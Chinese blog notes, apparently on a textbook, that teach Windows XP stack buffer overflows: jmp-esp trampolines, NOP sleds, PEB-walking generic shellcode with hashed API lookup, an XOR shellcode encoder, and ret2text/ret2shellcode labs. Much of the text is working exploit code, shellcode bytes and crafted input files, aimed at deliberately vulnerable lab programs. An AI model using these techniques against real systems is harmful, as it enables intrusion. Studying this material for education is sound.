如果buffer足够大,远远不用担心堆栈长起来复仇,则可以使用2.4的方法.

2.4的方法相对于3.2的方法,其好处是溢出只发生于被调用者栈帧,shellcode执行完之后比较容易归还控制,还原寄存器

但是3.2的实验,往调用者栈帧溢出,就不容易归还控制和寄存器了

但是2.4的缺点是,溢出返回地址时使用的是堆栈的绝对地址,而不同操作系统上可能堆栈位置会发生变化,因此适用性差

折中方案

有一个集合两个方法有点的方法,

啥意思呢?

将返回地址还是溢出成一条jmp esp的地址,但是紧跟在返回地址之前,也就是返回后esp指向的地址,不直接放shellcode,而是放一条相对跳转.跳回到"被调用者栈帧"(加引号是因为返回后被调用者栈帧已经扬了,只不过原来写到上面的东西都还没擦)

而shellcode早已放在被调用者栈帧的buffer中了

这种方法还是有shellcode被再次长起来的堆栈覆盖的风险

预防堆栈覆盖shellcode

但是有对策,在shellcode一开始先让栈顶下降到shellcode以下,保证堆栈再怎么长都和shellcode无关

x是多少?扩大靶面积

还有一个问题,x是多少呢?

buffer与retn之后的esp的距离,一定就是常数x吗?

也不一定,考虑对齐,优化各种因素,x可能会变

那么怎么准确的让jmp esp-x这条指令能够跳转到shellcode中呢?

如果buffer足够大,可以在其一开始填充很多nop(0x90)指令,啥也不干,但是eip会向高地址端移动

然后在buffer较高的地方放置shellcode,这样jmp esp-x,不管x是多少,只要能跳到那一大堆nop中的任意一条,就可以执行shellcode

实验验证

实验验证刚才这几点

可以利用的程序,其中verify_password的缓冲区buffer从44字节扩大到200字节,目的是一开始可以填充很多nop

#include <stdio.h>
//确保可以调用windows API 
#include <windows.h>
#include <string.h>
#include <stdlib.h>

#define PASSWORD "1234567"
int verify_password(char *password)
{
    int authenticated;
    char buffer[200];//缓冲区扩大到200个字节,方便容纳nop和shellcode
    authenticated = strcmp(password, PASSWORD);
    strcpy(buffer, password); // over flowed here!
    return authenticated;
}
main()
{
    int valid_flag = 0;
    char password[1024];
    FILE *fp;
    LoadLibrary("user32.dll"); // prepare for messagebox
    if (!(fp = fopen("password.txt", "rw+")))
    {
        exit(0);
    }
    fscanf(fp, "%s", password);
    valid_flag = verify_password(password);
    if (valid_flag)
    {
        printf("incorrect password!\n");
    }
    else
    {
        printf("Congratulation! You have passed the verification!\n");
    }
    fclose(fp);
}

首先调试观察verify_password函数栈帧

buffer的位置

13:       strcpy(buffer, password); // over flowed here!
00401052   mov         ecx,dword ptr [ebp+8]
00401055   push        ecx
00401056   lea         edx,[ebp-0CCh]
0040105C   push        edx
0040105D   call        strcpy (004011b0)
00401062   add         esp,8

buffer位于ebp-0x0CCh处,在windows XP上调试时,ebp=0x0012FB20

栈帧长这样,(奇了怪了buffer总是贴着authenticated长)

shellcode咋写

将buffer的前100个字节全都用nop(0x90)填充,然后放shellcode,这是139个字节了,

然后再填充69个字节,到返回地址家门口,此时已有208个字节,

从user32.dll中"借一个"jmp esp,地址为0x77D4754A,此时已有20C个字节,

然后在retn后的esp位置放一条jmp esp-x指令,注意这里是指令的机器码,不是指令的地址,

这里x可以是多少呢?

0x60-0xD4之间均可

不妨娶一个x=0xA0,

如果把jmp esp-0xA0拆成两条指令

1 2	sub esp,0xA0 jmp esp

机器码为81 EC A0 00 00 00 FF E4

直接在这里将栈顶下降到shellcode正文的基地址处,就免去了shellcode一开始再下降栈顶了

当然shellcode中再让栈顶往下个十万八千里也不是不行

到此password.txt长这样

最后这里就有问题了,81 EC A0 00 00 00是sub esp,0xA0的机器码,

A0 00 00 00是立即数,其中包含00了,在strcpy的时候会被截断,导致后面的FF E4无法拷贝到buffer中.

有00咋办

这咋办呢?要从指令上做文章了

首先,esp-0xA0,实际上和sp-0xA0效果相同,但是sp是一个字寄存器,esp是一个双字寄存器,

sub sp,0xA0的立即数更短,但是立即数0x00A0高一个字节仍然是00,还是白搭

我试图用sub spl,0xA0,只用sp寄存器的最低规格,但是编译器报错说没有spl这个标号,也就是说最低最低能够操作的就是sp寄存器了

考虑到减一个正数,相当于加它的相反数,那么sub sp,0xA0就等于add sp,0xFF60

这就没有00了

指令	机器码
add sp,0xFF60	66 81 C4 60 FF 90
jmp esp	FF E4

正好八个字节,相当于覆盖了一个参数还有main栈帧顶的4个字节,不是很严重,肯定没有覆盖main函数的返回值

到此password.txt长这样

放到windows XP上试一试

调试

strcpy之后

shellcode已经写入了

0x12FB24存储的返回地址已经被覆盖为0x77D47754A

retn之后

跳转到jmp esp指令的地址,此时esp指向0x12FB28,对应抬栈跳转两条指令(中间填了一个nop(0x90))

第一个jmp esp之后

抬栈之后esp=0x12FA88,这里上下都是0x90,全是nop,然后马上就要一个jmp esp跳进来

第二个jmp esp之后

此后eip将沿着0x12FA88->0x12FA89这个增大的方向进展

在0x12FAB8处将会碰见第一条有意义的指令,抬栈1234h,显然这是不必要的,因为第二个jmp esp之前,已经把esp放到不会影响shellcode的位置了

通用shellcode

准备工作

动态定位库函数的方法

前面的方法仍然不是通用的,不同的操作系统上,user32.dll库的地址是可变的,其中函数的地址自然也是可变的,而我们在寻找第一个jmp esp时使用了库函数的绝对地址.

这就是局限性的根源所在

要克服这个局限性,必须在shellcode运行时,动态地寻找目的函数或者目的指令,而不是我们亲自找了给他写死

在win32平台下,动态定位kernel32.dll中函数地址的方法是这样的:

1.FS段选择子会指向全局段描述表中本程序的TEB描述符,通过TEB描述符中的基地址可以查到内存中的TEB表

TEB,thread environment block,线程环境块,存放进程中的线程信息,一个进程中的每个线程都会有一个TEB,每个进程自己会有一个PEB

2.TEB表的0x30偏移处,存放着PEB的指针

3.PEB表的0x0C偏移处,存放着PEB_LDR_DATA结构体的指针

4.PEB_LDR_DATA结构体的0x1C偏移处,存放着InInitializationOrderModuleList指针

InInitializationOrderModuleList,模块初始化链表

5.InInitializationOrderModuleList表中,按顺序存放着本程序运行时装载的模块信息,第一个结点是ntdll.dll的信息,第二个结点是kernel32.dll的信息

6.kernel32.dll结点中,偏移量为0x08处就是kernel32.dll的内存基地址指针

7.kernel32.dll的基地址加上0x3C是kernel32.dll的PE头

8.kernel32.dll的PE头的0x78偏移处,存放函数导出表指针

9.在导出表中:

导出表的0x1C偏移处,存放导出函数偏移地址(RVA)列表的指针

导出表的0x20偏移处,存放导出函数函数名列表的指针

一个导出函数在函数名表和导出地址表中的下标是相同的,用函数名查函数名表获得下标,然后用下标查导出地址表,就可以获得函数地址(RVA)

RVA(function)+ImageBase(kernel32.dll)=VA(function),这里kernel32.dll的映像基址已经在第6步获得了

在kernel32.dll中找到LoadLibrary和GetProcAddress两个函数之后,就可以无脑调用函数来获取库函数地址了,不用再经历1-9的步骤了

从图上看这个过程,能画出这个图来的老师儿也针的绝了

shellcode 开发环境

最方便的shellcode开发方法是使用内联汇编

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
char shellcode[] = "\x66\x81\xEC\x40\x04\x33\xDB……"; //欲调试的十六
                                                     //进制机器码"
void main()
{
    __asm
    { 
        lea eax, shellcode
        push eax
        ret
    }
}

如此可以很方便地将控制转移到shellcode中

比如测试弹窗的shellcode

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
char shellcode[] =
    //"\x66\x81\xEC\x40\x04" // SUB SP,440
    "\x33\xDB"             // XOR EBX,EBX
    "\x53"                 // PUSH EBX
    "\x68\x77\x65\x73\x74" // PUSH 74736577
    "\x68\x66\x61\x69\x6C" // PUSH 6C696166
    "\x8B\xC4"             // MOV EAX,ESP
    "\x53"                 // PUSH EBX
    "\x50"                 // PUSH EAX
    "\x50"                 // PUSH EAX
    "\x53"                 // PUSH EBX
    "\xB8\xD7\xAD\xD3\x77" // MOV EAX,user32.MessageBoxA//function address varies between os
    "\xFF\xD0"             // CALL EAX
    "\x53"                 // PUSH EBX ;/ExitCode
    "\xB8\xB5\x5C\xE5\x77" // MOV EAX,kernel32.ExitProcess
    "\xFF\xD0";            // CALL EAX ;\ExitProcess

void main()
{
	HMODULE hmod=LoadLibraryA("user32.dll");//to ensure user32.dll is loaded 
    if(!hmod){
        printf("load failed");
        return;
    }
    __asm
    { 
        lea eax, shellcode
        push eax
        ret
    }
}

哈希算法

shellcode讲究一个短小精悍,如果为了找一个库函数,把它的名字比如"MessageBoxA"完整地放到shellcode中,自然不愿意.

要是shellcode的空间有限,光一个函数名就可以占用很大空间,可能就没有足够的地方做完剩下的逻辑了

因此采用哈希算法处理函数名,

我们想要的函数名哈希一下,遍历库函数时每个函数名都哈希一下,和我们自己的哈希值比划比划,要是一样就认为找到了目标函数

书上采用的哈希算法为:

DWORD GetHash(char *fun_name)
{
    DWORD digest = 0;
    while (*fun_name)
    {
        digest = ((digest << 25) | (digest >> 7)); //循环右移 7 位
        digest += *fun_name;                       //累加
        fun_name++;
    }
    return digest;
}

每次循环右移7位然后加上函数名的一个字节,直到遍历函数名到NULL,算法结束,返回digest摘要值

这样哈希算法的返回值是一个DWORD双字,比较两个双字只需要一条指令,cmp a,b就可以了

用该哈希函数得到的摘要值:

函数名	摘要值(Hex)
MessageBoxA	1e380a6a
LoadLibraryA	c917432
ExitProcess	4fd18963

好了,现在会做1+1=2了,下面解一道考研高数题

shellcode动态定位API

分析一下书上给出的shellcode代码都是干了啥

初始化,放置需要查找的函数

nop
nop

		

nop
nop ;为了便于观察,shellcode的开头结尾都放几个nop
nop
CLD					; clear flag DF,改变串操作的方向,保证在执行shellcode时是正方向的
;store hash
push 0x1e380a6a		;hash of MessageBoxA
push 0x4fd18963		;hash of ExitProcess
push 0x0c917432		;hash of LoadLibraryA
mov esi,esp			; esi = addr of first function hash 
lea edi,[esi-0xc]	; edi = addr to start writing function

这一坨执行完毕后栈帧的状态

抬栈

; make some stack space
xor ebx,ebx ;ebx置空
mov bh, 0x04 		;ebx=0x400;	 
sub esp, ebx    ;栈顶下降0x400个字节;

"user32"压栈

; push a pointer to "user32" onto stack 
mov bx, 0x3233 		; rest of ebx is null "32"
push ebx    ;0x3233压栈
push 0x72657375     ;"user"
push esp 

xor edx,edx	;edx=0

寻找kernel32.dll基地址

; find base addr of kernel32.dll 
	mov ebx, fs:[edx + 0x30] 	; ebx = address of PEB 
	mov ecx, [ebx + 0x0c] 		; ecx = pointer to loader data 
	mov ecx, [ecx + 0x1c] 		; ecx = first entry in initialisation order list 
	mov ecx, [ecx] 				; ecx = second entry in list (kernel32.dll) 
	mov ebp, [ecx + 0x08] 		; ebp = base address of kernel32.dll

最外圈循环,寻找下一个库函数

在执行本部分之前,esi在栈中的指向如图

find_lib_functions: 

	lodsd 					; load next hash into al and increment esi 
	cmp eax, 0x1e380a6a		; hash of MessageBoxA - trigger 
							; LoadLibrary("user32") 
	jne find_functions 
	xchg eax, ebp 			; save current hash 
	call [edi - 0x8] 		; LoadLibraryA 
	xchg eax, ebp 			; restore current hash, and update ebp 
							; with base address of user32.dll

lodsd指令，取得是双字节，即mov eax，[esi]，esi=esi+4；

此处lodsd相当于把0x0c917432放到eax上,然后esi+4,执行后栈的状态

显然eax=0x0c917432!=0x1e380a6a,jne条件转移实现

因此跳转find_functions

如果这里eax=0x1e380a6a即意味着要寻找MessageBoxA函数地址,则jne条件不满足,顺序执行,
1
2
3
4
xchg eax, ebp 			; save current hash 
call [edi - 0x8] 		; LoadLibraryA 
xchg eax, ebp 			; restore current hash, and update ebp 
						; with base address of user32.dll 	
这里edi-0x8是LoadLibraryA的地址,显然是已经获取LoadLibraryA的地址了,这是后话了

遍历两个表寻找目标函数

开端

find_functions: 
	pushad 						; preserve registers 
	mov eax, [ebp + 0x3c]		; eax = start of PE header 
	mov ecx, [ebp + eax + 0x78]	; ecx = relative offset of export table 
	add ecx, ebp 				; ecx = absolute addr of export table 
	mov ebx, [ecx + 0x20] 		; ebx = relative offset of names table 
	add ebx, ebp 				; ebx = absolute addr of names table 
	xor edi, edi 				; edi will count through the functions

所有通用寄存器压栈保存,然后各司其职设置参数

在此之前ebp是指向kernel32.dll的基地址的,其他各个数值依据ebp加上偏移量得到

库函数表指针后移一个单位

next_function_loop: 
	inc edi 					; increment function counter 
	mov esi, [ebx + edi * 4] 	; esi = relative offset of current function name 
	add esi, ebp 				; esi = absolute addr of current function name 
	cdq 						; dl will hold hash (we know eax is small)

edi作为下标,ebx是函数名表的基地址,

[ebx+edi*4]是一个基址变址寻址,相当于访问数组,数组的每个元素都是4字节的

显然函数名表的每个表项都是4字节的字符串指针,

mov esi, [ebx + edi * 4]相当于把一个库函数名指针相对Kernel32.dll的偏移量放到esi上了

然后加上ebp(kernel32.dll映像基址),就得到了库函数名指针的绝对地址

cdq的作用是eax有符号拓展到edx:eax

计算一个库函数名的摘要

这就是GetHash函数的汇编版本

hash_loop: 
	movsx eax, byte ptr[esi]
	cmp al,ah
	jz compare_hash
	ror edx,7
	add edx,eax
	inc esi
	jmp hash_loop

esi是库函数名指针,取出一个字节解引用后带符号拓展到eax上

如果al和ah相等,说明eax=0,即已经扫描到这个字符串的'\0',应该结束了,跳转compare_hash进行比较

否则该字符串还没有结束,继续取值直到al=ah

比较摘要值

到达这一步的时候,是hash_loops计算完库函数名的摘要值了,结果放到了edx上

1
2
3

compare_hash:	
	cmp edx, [esp + 0x1c] 		; compare to the requested hash (saved on stack from pushad) 
	jnz next_function_loop

esp+0x1C指向谁呢?保存的我们希望寻找的摘要值

[esp+0x1C]解引用,将希望寻找的摘要值和edx进行比较,如果为0说明找到了,不用跳转,否则没找到就得重复next_function_loop计算下一个库函数的摘要和希望的摘要进行比较

如果匹配

mov ebx, [ecx + 0x24] 		; ebx = relative offset of ordinals table 
add ebx, ebp 				; ebx = absolute addr of ordinals table 
mov di, [ebx + 2 * edi] 	; di = ordinal number of matched function 
mov ebx, [ecx + 0x1c] 		; ebx = relative offset of address table 
add ebx, ebp 				; ebx = absolute addr of address table 
add ebp, [ebx + 4 * edi] 	; add to ebp (base addr of module) the 
							; relative offset of matched function 
xchg eax, ebp 				; move func addr into eax 
pop edi 					; edi is last onto stack in pushad 
stosd 						; write function addr to [edi] and increment edi 
push edi 
popad					; restore registers 
		 				; loop until we reach end of last hash 
cmp eax,0x1e380a6a
jne find_lib_functions

用名字表的下标查序号表,再用序号表相应值作为下标查导出函数地址表,然后把地址放到eax,写到edi指向的地址上

当eax=0x1e280a6a,即MessageBoxA的摘要时,说明所有函数的地址都查完了并且写好了

否则还有函数没有解析地址,至少MessageBoxA没有,跳转find_lib_functions外圈大循环,寻找下一个希望的摘要值对应函数的地址

调用函数

执行到这里,所有函数都已经解析完毕,下面就要调用窗口并且exit(0)返回了

function_call:
	xor ebx,ebx
	push ebx			// cut string
	push 0x74736577
	push 0x6C696166		//push failwest
	mov eax,esp			//load address of failwest
	push ebx	
	push eax
	push eax
	push ebx
	call [edi - 0x04] ; //call MessageboxA
	push ebx
	call [edi - 0x08] ; // call ExitProcess
	nop
	nop
	nop
	nop

shellcode加壳

shellcode加壳,其目的要么是消去其中的00字节,使得整个shellcode可以被串拷贝进入缓冲区,防止截断

并且还可能绕过安全检查?

书上给出的加壳函数decode,使用key=0x44对input字符串进行异或加密,input的逐个字节都和key进行异或,结果写入encode.txt

解码器是这样写的

			add eax, 0x14 //locate the real start of shellcode
			xor ecx,ecx
decode_loop:
			mov bl,[eax+ecx]
			xor bl, 0x44 //key,should be changed to decode 
			mov [eax+ecx],bl
			
			inc ecx
			cmp bl,0x90 // assume 0x90 as the end mark of shellcode 
			jne decode_loop

一开始eax增加20个字节,正好跳过解码器

解码器编译之后生成的机器码
1
2
83 C0 14 33 C9 8A 1C 08 80 F3 44 88 1C 08 41 80
FB 90 75 F1

ecx一开始置零,后来[eax+ecx]是一个基址编址寻址,eax是基址,即shellcode的基地址,ecx是偏移量,ecx会遍历shellcode区域.当解码出0x90时,意味着shellcode到头了(我们自己规定的shellcode最后以0x90结尾),此时不再重复decode_loop,控制自然顺序转移给shellcode的起始位置

否则,即尚未解码出0x90,则shellcode还没有完全解密,重复decode_loop

将解码器的机器码放到shellcode之前,然后将整体放到字符数组里丢到调试环境里就可以弹窗了

windows初级ROP

Posted on 2022-09-17 Edited on 2022-09-18

windows初级ROP

工具

VC++6.0

链接：https://pan.baidu.com/s/1jfAzvMvi27zPeiSGNTouQA 提取码：dust

老古董了

当编译链接报错的时候试试禁用预编译头,十有八九是他导致的

windows XP操作系统

去MSDN, 我告诉你 - 做一个安静的工具站 (itellyou.cn)这里找

实际在windows11上用VC++6.0也可以做实验,并且比古董XP更方便

缓冲区溢出修改临近变量

书上给出的例程长这样

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
    int authenticated;
    char buffer[8]; // add local buffto be overflowed
    authenticated = strcmp(password, PASSWORD);
    strcpy(buffer, password); // over flowed here!
    return authenticated;
}
main()
{
    int valid_flag = 0;
    char password[1024];
    while (1)
    {
        printf("please input password: ");
        scanf("%s", password);
        valid_flag = verify_password(password);
        if (valid_flag)
        {
            printf("incorrect password!\n\n");
        }
        else
        {
 printf("Congratulation! You have passed the verification!\n"); 
 break;
        }
    }
}

VC++6.0的语法,关于main函数为啥没有返回值类型,入乡随俗吧

主函数里面一个1K字节的password庞然大物,其基地址传递给verify_password函数

该函数用了一个authenticated变量承载strcmp的返回值,如果输入的密码正确,即password=1234567,则strcmp(buffer,password)返回0,authenticated=0.否则strcmp根据两个参数的字典序返回正数或者负数

为了故意制造漏洞,书上在strcmp函数调用结束之后用strcmp将password拷贝到buffer上了strcpy(buffer, password);

下面动态调试verify_password函数,观察其栈帧的分布

用ollydbg,VC++6.0,ida等等调试均可

开端

5:    int verify_password(char *password)
6:    {
00401020   push        ebp	;保存调用者帧指针,返回时实现堆栈平衡
00401021   mov         ebp,esp;ebp指向当前函数栈帧底部
00401023   sub         esp,4Ch;栈顶下降0x4C
00401026   push        ebx;被调用者保存寄存器
00401027   push        esi
00401028   push        edi
00401029   lea         edi,[ebp-4Ch]
0040102C   mov         ecx,13h
00401031   mov         eax,0CCCCCCCCh
00401036   rep stos    dword ptr [edi];将eax的值拷贝到edi指向的字符串,重复次数ecx=0x13次

声明两个局部变量

1 2	7: int authenticated; 8: char buffer[8]; // add local buffto be overflowed

可以看到并没有对应的汇编指令,这是因为编译原理中,声明语句不生成可执行代码,只是起到规定符号类型的作用

调用strcmp计算authenticated

9:        authenticated = strcmp(password, PASSWORD);
00401038   push        offset string "1234567" (0042501c)
0040103D   mov         eax,dword ptr [ebp+8]
00401040   push        eax
00401041   call        strcmp (00401250)
00401046   add         esp,8
00401049   mov         dword ptr [ebp-4],eax

这个strcmp起到了验证输入密码是否正确的作用

stdcall调用约定,使用栈传递参数,最先push入栈的"1234567"的地址作为第二个参数,后来连push入栈的ebp+8作为第一个参数

局部变量都是在本函数栈帧内部的,他们在栈中的地址总是ebp减去某个数,而现在ebp+8这个地址显然不是当前函数栈内的局部变量,是调用者压栈传递的参数password

strcmp调用返回之后立刻抬栈8个字节,这就消去了为了调用strcmp压入的两个参数,调用strcmp前后堆栈平衡

stdcall中,strcmp返回值放在eax寄存器中,拷贝到栈上ebp-4位置,这意味着ebp-4是authenticated的位置,它紧挨着栈底

画蛇添足造成漏洞

到了故意写上的strcpy了

10:       strcpy(buffer, password); // over flowed here!
0040104C   mov         ecx,dword ptr [ebp+8]
0040104F   push        ecx
00401050   lea         edx,[ebp-0Ch]
00401053   push        edx
00401054   call        strcpy (00401160)
00401059   add         esp,8

ebp+8指向调用者压入的password字符串地址

ebp-0xC看来就是buffer的基地址了

然后调用strcpy从ebp+8拷贝字符串到ebp-0xC,啥时候碰到'\0'字符,啥时候拷贝结束

调用完成后抬栈8个字节,实现strcpy前后堆栈平衡

到此可以画出verify_password的栈帧分布了

buffer的长度为8,如果输入8个字符,正好填满buffer,还多出一个'\0'结束字符,不得不放到authenticated上了,这就溢出覆盖了

然后authenticated被返回

而main函数中就是凭verify_password的返回值决定是否输入了正确的密码

这里需要让valid_flag即verify_password的返回值为0才可以跳过if,进入else

    if (valid_flag){
        printf("incorrect password!\n\n");
    }
    else{
printf("Congratulation! You have passed the verification!\n"); 
break;
    }

这样看来我们只需要输入00000000,八个0,最后多一个'\0'正好覆盖了authenticated,让他等于0.

然而这只是覆盖了它的最低一个字节,authenticated有4个字节.

"那么可以输入11个0,然后自带一个'\0',一共12个0,这样authenticated被溢出成全0了",这样想更不对,因为0的ASCII码是0x30,

这样输入之后相当于authenticated=0x00303030=3158064

实际上调试的时候正是如此

'\0'是真的0,NULL,字符'0'是假的0,那应该再咋办呢

1	authenticated = strcmp(password, PASSWORD)

当字典序password<PASSWORD时,返回的是负数,那么authenticated的高位全都是1,(不管高几位是1了,反正最高位那个符号位是1)

当字典序password>PASSWROD时,返回的是正数,那么authenticated的高位全都是0了,这就有一个问题,高几位是0,如果高3个字节都是0则正好'\0'将最低字节也溢出成0,如果第二个字节非0就寄了

怎么验证这个事呢?要么直接调试看看,要么看strcmp的源代码

显然前者来的快,调试观察,结果是1,竟然不是一个乱七八糟的正数

逆向分析strcmp,其函数出口只有两个

要么是doneeq处作为出口,这里返回eax=0

要么是donene处作为出口,这里干了啥呢?
1
2
3
4
5
.text:00401294 donene:                 ; done not equals
.text:00401294 sbb     eax, eax
.text:00401296 shl     eax, 1
.text:00401298 inc     eax
.text:00401299 retn
sbb,带借位减法,sbb a,b意思是a=a-b-CF

那么sbb eax,eax的意思就是eax=eax-eax-CF=-CF

而CF的值来自于两个字符串逐个字节做差,strcmp(a,b)=a-b,如果a<b则CF=1否则即a>=b则CF=0

然后shl带进位左移,左移的时候最低位用CF补上

如果CF=0则eax=-0=0然后左移的时候低位补CF=0,还是0,最后inc eax导致变成1

因此如果a的字典序更大,则strcmp只会返回1

那么只需要输入2222222,七个2再加上'\0',就可以保证字典序大于1234567,eax返回1放到authenticated最低位,高三位都是0,然后'\0'溢出修改authenticated最低字节,得到全0的authenticated,这就跳过了if的检查

溢出返回地址

在verify_password函数的栈帧视角下,返回地址在ebp+4处

从ebp-0xC到ebp+0x4共16字节,输入15个字节之后加上'\0',正好到达返回地址的家门口

单反再多输入一个字节,就要修改返回地址了

输入19个'A'再加上一个'\0'则返回地址被修改为0x00414141(0x41是'A'的ASCII编码)

Buffer[0x19FACC,0x19FAD4)=0x4141414141414141

authenticated[0x19FAD4,0x19FAD8)=0x41414141

调用者ebp[0x19FAD8,0x19FADC)=0x41414141

返回地址[0x19FADC,0x19FAE0)=0x00414141

溢出之后再继续单步调试会变地很艰难,每一步都要等五六秒,最后retn指令之后eip将指向0x00414141处,跑飞了

在windowsXP上尝试运行然后输入19个A,windows会报错

在eip=0x414141处发生了0x80000003号错误

STATUS_BREAKPOINT，值为0x80000003，称为中断指令异常，表示在系统未附加内核调试器时遇到断点或断言。

确实如此,0x00414141处全都是0xCC

而int 3中断指令的机器码恰好就是0xCC,因此CPU认为碰到了没有定义的断点,报错了

ret2text

上一个实验中,由于终端上只能输入可打印ASCII字符,这就限制了我们可以输入的地址

为了表演如何劫持控制,书上将输入改成了文件,这就允许输入不可打印ASCII字符了

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
	int authenticated;
	char buffer[8];
	authenticated = strcmp(password, PASSWORD);
	strcpy(buffer, password); // over flowed here!
	return authenticated;
}
main()
{
	int valid_flag = 0;
	char password[1024];
	FILE *fp;
	if (!(fp = fopen("password.txt", "rw+")))
	{
		exit(0);
	}
	fscanf(fp, "%s", password);
	valid_flag = verify_password(password);
	if (valid_flag)
	{
		printf("incorrect password!\n");
	}
	else
	{
		printf("Congratulation! You have passed the verification!\n");
	}
	fclose(fp);
}

确定栈帧分布

main函数给password预留了1024个字节,足够了,只需要考虑verify_password函数的栈帧分布

在项目根目录下面新建一个password.txt文档然后随便输入几个字符,开始调试

按理说应该是exe同目录,即Debug目录,但是在哪里建立之后程序找不到password.txt文件

exe同目录或者项目根目录都建立一个,以防万一

10:       strcpy(buffer, password); // over flowed here!
0040104C   mov         ecx,dword ptr [ebp+8]
0040104F   push        ecx
00401050   lea         edx,[ebp-0Ch]
00401053   push        edx
00401054   call        strcpy (00401180)
00401059   add         esp,8

ebp+8是调用者传过来的参数,password的指针

ebp-0xC是buffer缓冲区地址

可以画出栈帧了,和刚才的实验中是一样的

溢出修改返回地址

现在企图溢出修改返回地址,直接跳转到main中打印通过的信息处

30:           printf("Congratulation! You have passed the verification!\n");
0040111F   push        offset string "Congratulation! You have passed "... (00426028)
00401124   call        printf (00401420)
00401129   add         esp,4

即直接将返回地址溢出修改成0x0040111F就可以了,咋溢出呢?

前16个字节溢出成任意字符,然后输入三个字节,0x1F,0x11,0x40,总共19个字节了,然后最高位'\0'填充

问题是0x1F,0x11都是不可打印ASCII字符,怎么输入呢?

二进制	十进制	十六进制	字符	意义
00011111	31	1F	US (Unit Separator)	单元分隔符
00010001	17	11	DC1/XON (Device Control 1/Transmission On)	设备控制1/传输开始
01000000	64	40	@

首先在password.txt中编辑1234567812341234abc这么19个字符,其中前16个阿拉伯数字全是填充,后面abc是需要修改的地方

保存好后用010editor打开password.txt

View->Edit As->Hex

将最后三个字节,改成0x1F,0x11,0x40

然后保存,再运行程序

1 2	PS C:\Users\86135\Desktop\StackOverFlow\controlflow\Debug> ./controlflow Congratulation! You have passed the verification!

已经可以"通过检查"了,下面调试观察发生了什么

调试观察

首先,verify_password中strcpy执行之后,栈帧的状态

EBP=0x19FAD4,这意味着返回地址在0x19FAD8,内存视图中可以看出,0x19FAD8开始的四个字节已经被溢出成0x0040111F了

继续执行直到retn指令,返回之后

EIP顺势被修改为0x0040111F,达到了目的

此时EBP帧指针指向0x34333231,显然已经飞了,不是main函数的帧底,但是ESP指向栈顶是没错的,

编译器会计算好函数返回时esp要抬多少,但是ebp是纯靠程序压栈记忆的

这个过程画到图上就是书上给的

ret2shellcode

上一个实验中将控制篡改到main函数中,还是属于代码段的,

这个实验要向栈中写入代码然后篡改返回地址,执行栈中代码.

要在栈中写一段创建MessageBoxA的shellcode,让程序弹窗

需要pwn的程序长这样

#include <stdio.h>
//确保可以调用windows API 
#include <windows.h>
#include <string.h>
#include <stdlib.h>

#define PASSWORD "1234567"
int verify_password(char *password)
{
    int authenticated;
    char buffer[44];//缓冲区扩大到44个字节,方便容纳shellcode
    authenticated = strcmp(password, PASSWORD);
    strcpy(buffer, password); // over flowed here!
    return authenticated;
}
main()
{
    int valid_flag = 0;
    char password[1024];
    FILE *fp;
    LoadLibrary("user32.dll"); // prepare for messagebox
    if (!(fp = fopen("password.txt", "rw+")))
    {
        exit(0);
    }
    fscanf(fp, "%s", password);
    valid_flag = verify_password(password);
    if (valid_flag)
    {
        printf("incorrect password!\n");
    }
    else
    {
        printf("Congratulation! You have passed the verification!\n");
    }
    fclose(fp);
}

还是从password.txt中写东西,溢出verify_password.txt的buffer缓冲区

首先要调试verify_password观察栈帧分布,项目根目录下新建password.txt,随便输入些字符,然后在main上下断点,开始调试

调试观察栈帧分布

authenticated

12:       authenticated = strcmp(password, PASSWORD);
00401038   push        offset string "1234567" (0042601c)
0040103D   mov         eax,dword ptr [ebp+8]
00401040   push        eax
00401041   call        strcmp (00401290)
00401046   add         esp,8
00401049   mov         dword ptr [ebp-4],eax

ebp+8指向参数password

ebp-4是authenticated的地址

buffer

13:       strcpy(buffer, password); // over flowed here!
0040104C   mov         ecx,dword ptr [ebp+8]
0040104F   push        ecx
00401050   lea         edx,[ebp-30h]
00401053   push        edx
00401054   call        strcpy (004011a0)
00401059   add         esp,8

ebp-30h是buffer的基地址

30h=48,即buffer是紧接着authenticated的

观察寄存器视图,ebp=0x0012FB20

那么"返回地址"在栈中的地址0x12FB24,buffer的基地址0x12FAF0

那么往buffer写44+4+4=52个字符,这52个字符里就包括了shellcode,就到返回地址的家门口了,然后将0x19FF04即buffer基地址写到返回地址上,如此函数返回时,控制将转移到0x12FAF0,

由于strcpy函数执行后,不会再有其他行为改变buffer缓冲区,然后函数返回之前退栈只是抬高esp,buffer成为非法区域,但是其内容不会被扬了,然后返回地址退栈交给eip,指向执行shellcode并执行

下面的任务就是如何编写shellcode

编写shellcode

首先需要找到MessageBox函数的地址

windows为了减少基址重定位的开销,给每个系统动态库都分配了各自的基地址,保证他们相互不冲突.

但是在不同的操作系统上,系统dll的基地址也是不一样的

在windows xp professional系统上,user32.dll的映像基址是77D10000h

而书上写的是windows xp SP3系统中user32.dll的映像基址是77D40000h

程序员的自我修养上写的是7E410000h

然后用VC++自带的DEPENDS.EXE程序观察user32.dll中MessageBoxA函数的偏移量

序号477,最有可能的下标476,函数名MessageBoxA,入口点(相对偏移)0x2ADD7

VA=RVA+ImageBase=0x2ADD7+0x77D10000=0x77D3ADD7

这就找到了MessageBoxA函数的虚拟地址

shellcode是这样写的:

xor ebx,ebx
push ebx
push 0x74736577
push 0x6c696166
mov eax,esp
push ebx
push eax
push eax
push ebx
mov eax,0x77D3ADD7;MessageBoxA地址压栈
call eax

编译成机器码为

1	33DB536877657374686661696C8BC453505053B8D7ADD377FFD0

这是26个字节了,用0x90(啥也不干nop)再填充26个字节到返回地址的家门口,

1	90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

然后四个字节用buffer的基地址0x0019FF04,溢出返回地址,只写低3字节就可以,高一个字节'\0'自动填上了

F0 FA 12

33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53
50 50 53 B8 D7 AD D3 77 FF D0 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 F0 FA 12

用010editor写到password.txt中然后保存

在windows XP虚拟机上执行成功

在windows 11上白搭,一是没找到32位的user32.dll,二是ebp值和windows XP上不同

调试

在windows XP上调试本程序

在strcpy执行之后从0x12FAF0开始的44+4+4+4个字节都被溢出修改

